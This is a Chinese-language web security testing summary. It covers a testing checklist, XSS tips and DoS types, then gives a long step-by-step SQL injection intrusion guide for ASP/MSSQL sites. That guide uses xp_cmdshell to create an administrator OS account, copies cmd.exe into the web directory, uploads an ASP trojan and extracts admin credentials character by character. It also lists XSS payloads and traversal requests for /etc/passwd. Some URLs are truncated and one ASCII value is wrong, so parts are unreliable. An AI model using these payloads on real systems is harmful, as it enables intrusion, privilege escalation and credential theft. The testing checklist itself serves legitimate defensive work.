web安全测试要点总结

时间:2024.3.31

一、 Web 应用安全威胁分为如下六类:

Authentication(验证)

用来确认某用户、服务或是应用身份的攻击手段。

Authorization(授权)

用来决定是否某用户、服务或是应用具有执行请求动作必要权限的攻击手段。

Client-Side Attacks(客户侧攻击)

用来扰乱或是探测 Web 站点用户的攻击手段。

Command Execution(命令执行)

在 Web 站点上执行远程命令的攻击手段。

Information Disclosure(信息暴露)

用来获取 Web 站点具体系统信息的攻击手段。

Logical Attacks(逻辑性攻击)

用来扰乱或是探测 Web 应用逻辑流程的攻击手段

二、

应用威胁

常见针对 Web 应用攻击的十大手段

负面影响

标识盗窃,敏感数据丢失…

通过构造查询对数据库、LDAP 和其他系统进行非法查询。

后果

黑客可以模拟合法用户,控制其帐户。 黑客可以访问后端数据库信息,修改、盗窃。

跨网站脚本攻击 注入攻击

恶意文件执行 在服务器上执行 Shell 命令 Execute,获被修改的站点将所有交易传送给黑客 取控制权。

不安全对象引用 伪造跨站点请求 信息泻露和不正确的错误处理 被破坏的认证和 Session 管理 不安全的木马存储 不安全的通讯

黑客访问敏感文件和资源

黑客调用 Blind 动作,模拟合法用户 黑客得到详细系统信息

Web 应用返回敏感文件内容 黑客发起 Blind 请求,要求进行转帐 恶意的系统检测可能有助于更深入的攻击

Session token 没有被很好的保护 在用户推出系统后,黑客能够盗窃 session。

过于简单的加密技术导致黑客破解编密码 隐秘信息被黑客解密盗窃 敏感信息在不安全通道中以非加密方式传送

黑客可以通过嗅探器嗅探敏感信息,模拟合法用户。

黑客可以强行访问一些登陆网页、历史网页。

URL 访问限制失效 黑客可以访问非授权的资源连接

三、 Rational AppScan功能简介

Rational AppScan 同时提供了很多高级功能,帮助客户对复杂应用进行检测。支持的扫描配置有:

?

?

?

?

?

?

?

?

?

? Starting URL:起始 URL,制定被测应用的起始地址 Custom Error Pages:制定错误网页提高测试效率 Session IDs:管理测试过程中的 session Automatic Server Detection:自动检测应用所在的应用服务器、web server、操作系统 Exclusion and Inclusion:制定哪些 Web 被扫描或者被排除,哪些文件类型不被扫描 Scan Limits:其他高级扫描限制,例如扫描次数限制等 Advanced:扫描的方式,是宽度扫描还是深度扫描 Communication Settings:对扫描中的延时、线程数量进行配置 Proxy Settings:代理设置vLogin/logout:对被测应用的登陆进行设置,可以采用录制回放的方式、也可以使用自动登陆的方式 configure a Test Policy: 配置测试测量,即想测试哪些漏洞。

四、 Web安全体系测试 一个完整的Web安全体系测试可以从部署与基础结构,输入验证,身份验证,授权,配置管理,敏感数据,会话管理,加密,参数操作,异常管理,审核和日志记录等几个方面入手。

数据加密:某些数据需要进行信息加密和过滤后才能进行数据传输,例如用户信用卡信 息、用户登陆密

码信息等。此时需要进行相应的其他操作,如存储到数据库、解密发送要用户电子邮箱或者客户浏览器。目前的加密算法越来越多,越来越复杂,但一般数据加密的过程时可逆的,也就是说能进行加密,同时需要能进行解密!

注:对登陆帐户和密码进行加密,可在后台数据库查看是否进行了加密。

登录: 一般的应用站点都会使用登录或者注册后使用的方式,因此,必须对用户名 和匹配的密码进

行校验,以阻止非法用户登录。在进行登陆测试的时候,需要考虑输入的密码是否对大小写敏感、是否有长度和条件限制,最多可以尝试多少次登录,哪些页面或者文件需要登录后才能访问/下载等。

超时限制:WEB应用系统需要有是否超时的限制,当用户长时间不作任何操作的时候, 需要重新登录才能

使用其功能。

SSL: 越来越多的站点使用SSL安全协议进行传送。SSL是Security Socket Lauer(安全套接字协

议层)的缩写,是由Netscape首先发表的网络数据安全传输协议。SSL是利用公开密钥/私

有密钥的加密技术。(RSA),在位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。进入一个SSL站点后,可以看到浏览器出现警告信息,然后地址栏的http变成https,在做SSL测试的时候,需要确认这些特点,以及是否有时间链接限制等一系列相关的安全保护。

服务器脚本语言:脚本语言是常见的安全隐患。每种语言的细节有所不同。有些脚本允许访问根目录。其

他只允许访问邮件服务器,但是经验丰富的黑客可以将服务器用户名和口令发送给他们

自己。找出站点使用了哪些脚本语言,并研究该语言的缺陷。还要需要测试没有经过授

权,就不能在服务器端放置和编辑脚本的问题。最好的办法是订阅一个讨论站点使用的

脚本语言安全性的新闻组。

注:黑客利用脚本允许访问根目录的这个安全隐患特性攻击网站。这个网站包含了脚本代码(有

允许访问根目录的特性)就可能有这个安全隐患。

日志文件:在服务器上,要验证服务器的日志是否正常工作,例如CPU的占用率是否很高,是否有例外的

进程占用,所有的事务处理是否被记录等。

目录: WEB的目录安全是不容忽视的一个因素。如果WEB程序或WEB服务器的处理不适当,通过简

单的URL替换和推测,会将整个WEB目录完全暴露给用户,这样会造成很大的风险和安全性

隐患。我们可以使用一定的解决方式,如在每个目录访问时有index.htm,或者严格设定WEB

服务器的目录访问权限,将这种隐患降低到最小程度。

注:每个目录访问时有index.htm目的:通过首页中的登陆验证功能进行访问权限控制。

五、 web安全测试的checklist 1. 不登录系统,直接输入登录后的页面的url是否可以访问

2. 不登录系统,直接输入下载文件的url是否可以下载,如输入http://url/download?name=file是否可

以下载文件file

3. 退出登录后按后退按钮能否访问之前的页面

4. ID/密码验证方式中能否使用简单密码。如密码标准为6位以上,字母和数字混合,不能包含ID,

连续的字母或数字不能超过n位

5. 重要信息(如密码,身份证号码,信用卡号等)在输入或查询时是否用明文显示;在浏览器地址栏

里输入命令javascrīpt:alert(doucument.cookie)时是否有重要信息;在html源码中能否看到重要信息

6. 手动更改URL中的参数值能否访问没有权限访问的页面。如普通用户对应的url中的参数为l=e,

高级用户对应的url中的参数为l=s,以普通用户的身份登录系统后将url中的参数e改为s来访问本没有权限访问的页面

7. url里不可修改的参数是否可以被修改, 浏览器缓存:认证和会话数据不应该作为GET的一部分来

发送,应该使用POST

8. 上传与服务器端语言(jsp、asp、php)一样扩展名的文件或exe等可执行文件后,确认在服务器

端是否可直接运行

9. 注册用户时是否可以以'--,' or 1=1 --等做为用户名

10. 传送给服务器的参数(如查询关键字、url中的参数等)中包含特殊字符(','and 1=1 --,' and 1=0 --,'or

1=0 --)时是否可以正常处理

11. 执行新增操作时,在所有的输入框中输入脚本标签(<scrīpt>alert("")</scrīpt>)后能否保存

12. 在url中输入下面的地址是否可以下载:

http://url/download.jsp?file=C:\windows\system32\drivers\etc\hosts,http://url/download.jsp?file=/

etc/passwd

13. 是否对session的有效期进行处理

14. 错误信息中是否含有sql语句、sql错误信息以及web服务器的绝对路径等

15. ID/密码验证方式中,同一个账号在不同的机器上不能同时登录

16. ID/密码验证方式中,连续数次输入错误密码后该账户是否被锁定

17. 新增或修改重要信息(密码、身份证号码、信用卡号等)时是否有自动完成功能(在form标签中

使用autocomplete=off来关闭自动完成功能

18.Email Header Injection(邮件标头注入)

Email Header Injection:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),

我们要验证subject中应能escape掉“\n”标识。

? <!--[if !supportLists]--> <!--[endif]-->因为“\n”是新行,如果在subject中输入

“hello\ncc:spamvictim@example.com”,可能会形成以下

Subject: hello

cc: spamvictim@example.com

? <!--[if !supportLists]--> <!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺

陷通过我们的平台给其它用户发送垃圾邮件。

19. Directory Traversal(目录遍历)

(1)如何进行目录遍历测试?

目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意

用户可以通过提交目录跳转来遍历服务器上的任意文件。

测试方法:在URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转

符。

(2)如何预防目录遍历?

限制Web应用在服务器上的运行

进行严格的输入验证,控制用户输入非法路径

20. exposed error messages(错误信息)

(1)如何进行测试?

首先找到一些错误页面,比如404,或500页面。

验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。

(2)如何预防?

测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。

六、 跨站点脚本攻击测试要点

1.确定站点及其功能 -- 与开发人员和 PM 交流

绘制一些简单的数据流图表,对站点上的页面及其功能进行描述。此时,可以安排一些与开发人员

和项目经理的会议来建立威胁模型。在会议上尽可能对应用程序进行深入探讨。站点公开了 Web 服务吗?是否有身份验证表单?有留言板吗?有用户设置页面吗?确保列出了所有这些页面

2. 找出并列出所有由用户提供输入的点

对站点地图进行进一步细化。我通常会为此创建一个电子表格。对于每个页面,列出所有查询字符串

参数、cookie 值、自定义 HTTP 标头、POST 数据值和以其他形式传递的用户输入。不要忘记搜索 Web 服务和类似的 SOAP 请求,并找出所有允许用户输入的字段。

分别列出每个输入参数,因为下面需要独立测试每个参数。这可能是最重要的一个步骤!如果阅读下

面的电子表格,您会看到我已经在示例站点中找出了一大堆这样的东西。如 forwardURL 和 lang 这

样的查询字符串。如 name、password、msgBody、msgTitle 和这样的 POST 数据,甚至某些 Cookie 值。所有这些都是我们感兴趣的重要测试内容

3. 认真思考并列出测试用例

4. 开始测试并注意输出结果

在查找漏洞的过程中,最重要的部分并不是您是否找到了漏洞。而是您是否真正知道究竟发生了哪些

事情。对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

我会检查所有这些情况,如果您对所输入内容的目的十分了解,可以调整您的测试来找出问题。这意味着您可能需要添加一个额外的封闭括号“>”来让某个标记变得完整,或者添加一个双引号来关闭标记内的一个元素。或者,您可能需要使用 URL 或 HTML 来编码您的字符,例如将双引号变为 %22 或 "。

5. 这个站点看来防范比较严密。现在该怎么办呢?

那么,也许您的简单测试用例 <scrīpt>alert(?hi?)</scrīpt> 并不能产生期望中的警告对话框。仔细想

想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会过滤“scrīpt”这个词。重新研究为何输入会产生这样的输出,并理解每个值(查

询字符串、cookie、POST 数据)的作用。“pageId=10”这样的查询字符串值可能对输出没有影响,因此不值得花费时间测试它。有时,最好试着注入单个字符(例如尖括号、双引号标记或者圆括号),看看应用程序是否过滤这些字符。然后,便可以知道您面对的过滤级别究竟如何。接着,可以调整测试方法,对这些字符进行编码并重试,或者寻找其他注入办法。

改变测试用例

我恐怕无法充分对此进行说明:研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能

产生输出,那么不要在它们上面浪费时间。如果可以,请进行研究,因为您需要根据输出对测试进行相应的修改。我使用了各种变化形式来找出能接受和显示脚本代码的参数。因为这涉及太多内容,因此在这里无法一一进行讨论,但是请务必注意以下几种情况:

1.>"'><scrīpt>alert(?XSS')</scrīpt>

2.>%22%27><img%20src%3d%22javascrīpt:alert(%27XSS%27)%22>

3.>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

4.AK%22%20style%3D%22background:url(javascrīpt:alert(%27XSS%27))%22%20OS%22

5.%22%2Balert(%27XSS%27)%2B%22

6.<table background="javascrīpt:alert(([code])"></table>

7.<object type=text/html data="javascrīpt:alert(([code]);"></object>

8.<body ōnload="javascrīpt:alert(([code])"></body>

有许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的,常见的变化形式经常是在脚本代码前面加上 “>””,以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码,尝试绕过服务器端的输入过滤功能。此外,因为尖括号“<>”通常会在输入时被过滤和从输出中删除,所以还必须尝试不需要尖括号的 XSS,例

如 ”&{alert('XSS')};”

持久和动态

找出一个成功的 XSS 颇费周折,因为在开始时 XSS 攻击可能并不是那么显而易见的。随便举一个

例子,如果向网站添加一条新留言并在“msgTitle”值中注入代码,在提交数据后,您可能不会立即看到脚本代码

被执行。但是,当您访问留言板的时侯,将会在 HTML 页面中使用“msgTitle”值并将其作为脚本代码执行。这种情况被称作持久性 XSS 攻击,如果包含脚本代码的值将被保存到客户端或者后端系统并在稍候的时间被执行,便会发生此种攻击。

而与此相对的是动态 XSS 攻击,这种攻击会立即执行并只发生一次。比如,如果某个链接或 GET 请

求在某个用来控制页面输出的查询字符串中包含了脚本代码,那么在点击链接后会立即显示输出。

七、 Cookie:

什么是cookie?

Cookie是Web网站放在您的硬盘上的程序。它守在您的电脑里,搜集您的信息以及您在因特网上所做的任何事情,当Web站点需要的时候它能够下载所有这些搜集到的信息。

Cookie设置方式:

1、持续的和非持续的以及安全的和非安全的。

2、浏览器会把持续的cookie存放在客户机本地的硬盘上。

3、浏览器会在非持续的cookie关闭的时候将其删除(存放在内存中)。

4、cookie本身不是安全的,但是浏览器可以通过https(http+ssh)完成。

IE的cookie存放格式:

IE的cookie采用了从1601年1月1日开始的以100纳秒为单位的计时增量

cookie欺骗可以有多种途径:

1、跳过浏览器,直接对通讯数据改写。

2、修改浏览器,让浏览器从本地可以读写任意域名cookie。

3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)。 4、欺骗浏览器,让浏览器获得假的域名。

八、 跨站点攻击:

什么是跨站点脚本攻击:

是一种通过虚假的WEB页面内容伪装用户的常用方法。

XSS 攻击的过程涉及以下三方:

攻击者

受害者

存在漏洞的网站(攻击者可以使用它对受害者采取行动)

在这三方之中,只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体,一般不会受到影响。可以用多种方式发起 XSS 攻击

例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚本。

XSS 攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息

恶意的 JavaScript 可以访问任何下列信息:

浏览器维护的永久 cookies

浏览器实例维护的RAM cookies,但只有当最近浏览时发生。当关闭浏览器的时候,RAM cookie不存在。

攻击方式:

1,除了 <script>...</script>,黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML 标签的站点来说很好用。

2,除了 <script>...</script>,还可以使用 <script src="http://...">。这对于 JavaScript 代码过长,或者其中包含了禁止字符时的情况是很好用的。

3,XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求实现攻击,或者利用 HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头。

防护措施:

避免这种攻击的一个办法是web开发人员从用户提交的输入数据中过滤掉代码。

九、 DOS攻击:

什么是DOS攻击:

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。

最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。

连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。

DOS攻击方式:

1、 Synflood: 该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYN ACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到ACK一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。

2、 Smurf:该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包,并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。

3、 Land-based:攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过IP欺骗的方式发送给被攻击主机,这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环,从而很大程度地降低了系统性能。

4、 Ping of Death:根据TCP/IP的规范,一个包的长度最大为65536字节。尽管一个包的长度不能超过65536字节,但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时,就是受到了Ping of Death攻击,该攻击会造成主机的宕机。

5、 Pingflood: 该攻击在短时间内向目的主机发送大量ping包,造成网络堵塞或主机资源耗尽。

十、 暴力破解

解决办法:

通过分析sshd的日志文件(/var/log/secure),当发现重复的攻击时,就会记录IP到/etc/hosts.deny文件,启用TCP_wrappers,从而达到自动屏蔽IP的功能

工具:http://sourceforge.net/

十一、 sql注入

SQL注入攻击的总体思路

1、发现SQL注入位置;

2、判断后台数据库类型;

3、确定XP_CMDSHELL可执行情况

4、发现WEB虚拟目录

5、上传ASP木马;

6、得到管理员权限;

SQL注入攻击的步骤

一、SQL注入漏洞的判断

只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。 为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。

1、整型参数的判断

当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY’,abc.asp运行异常;

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;

如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

2、字符串型参数的判断

当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语

句变成了select * from 表名 where 字段=YY’,abc.asp运行异常;

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常; 如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

3、特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几

种方法试一试。

①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写

字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的

字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;

③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如

U=chr(85),a=chr(97)

二、分析数据库服务器类型

1、利用数据库服务器的系统变量进行区分

SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,

而还可以得到当前连接到数据库的用户名

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是

SQL-SERVER,而还可以得到当前正在使用的数据库名;

2、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统

表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0 ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0 若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS

则两条都会异常。

3、MSSQL三个关键系统表

sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最

初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中 保存了所有的库名,以及库的ID和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。 dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、

tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的

所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。 syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也

占一行。该表位于每个数据库中。主要字段有:

name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是我们用

sysobjects得到的表的ID号。用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调

用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省

1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当

前连接数据库的用户名(若显示dbo则代表SA)。

2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前

连接的数据库名。 3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。 4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。 5 HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。 6、通过复制CMD创建UNICODE漏洞 HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。 四、发现WEB虚拟目录 只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。 一是根据经验猜解,一般来说,WEB虚拟目录是: c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等。 而可执行虚拟目录是: c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。 二是遍历系统的目录结构,分析结果并发现WEB虚拟目录; 先创建一个临时表:temp HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 接下来: (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 (2)利用xp_subdirs获得子目录列表,并存入temp表中: HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';-- (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1)

exec master.dbo.xp_dirtree 'c:\';--

注意: 1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是: HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;-- 2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名) HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0

得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not

in('xyz'))>0 得到表TEMP中第二条记录id字段的值。

五、上传ASP木马

所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,

远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:

1、利用WEB的远程管理功能

许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内

容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。

因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到

USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。

用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给

出两种有效方法。

A、 注入法:

从理论上说,认证网页中会有型如:

select * from admin where username='XXX' and password='YYY' 的语句,若在正式

运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。

如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成: select * from admin where username='abc’ or 1=1 and password='123’ 不管用

户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

B、猜解法:

基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密

码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。

猜解所有数据库名称

HTTP://xxx.xxx.xxx/abc.asp?p=YY and

(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12?就可得到所有数据库名。

以下假设得到的数据库名是TestDB。

猜解数据库中用户名表的名称

猜解法:

此方法就是根据个人的经验猜表名,一般来说, user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。 读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。 当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是: ①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则 ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。 根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。 l 猜解用户名字段及密码字段名称 admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。 猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。 读取法:基本的实现方法是 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from

TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6?就可得到所有的字段名称。

2 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有:

ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出

字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

HTTP://xxx.xxx.xxx/abc.asp?p=YY and

(select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,? n,username

为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,?时猜测分别猜测第1,2,3,?位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80); HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80); 